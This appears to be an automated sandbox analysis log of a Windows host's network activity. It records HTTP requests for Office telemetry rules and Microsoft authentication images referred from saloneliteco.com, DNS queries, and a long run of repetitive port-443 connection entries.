Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://saloneliteco.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.1.1/webfonts/fa-solid-900.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://saloneliteco.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fZCuYDtH+u7nKbh&MD=GUdmc7dn HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: www.top50-solar.de
Source: global traffic	DNS traffic detected: DNS query: coupons.digidip.net
Source: global traffic	DNS traffic detected: DNS query: hr.queenmobile.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: saloneliteco.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io
Source: global traffic	DNS traffic detected: DNS query: www.w3schools.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: App1729289629779663100_4907985C-C5CF-4CB5-9F9A-88902AC491DA.log.0.dr

String found in binary or memory: https://login.windows.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
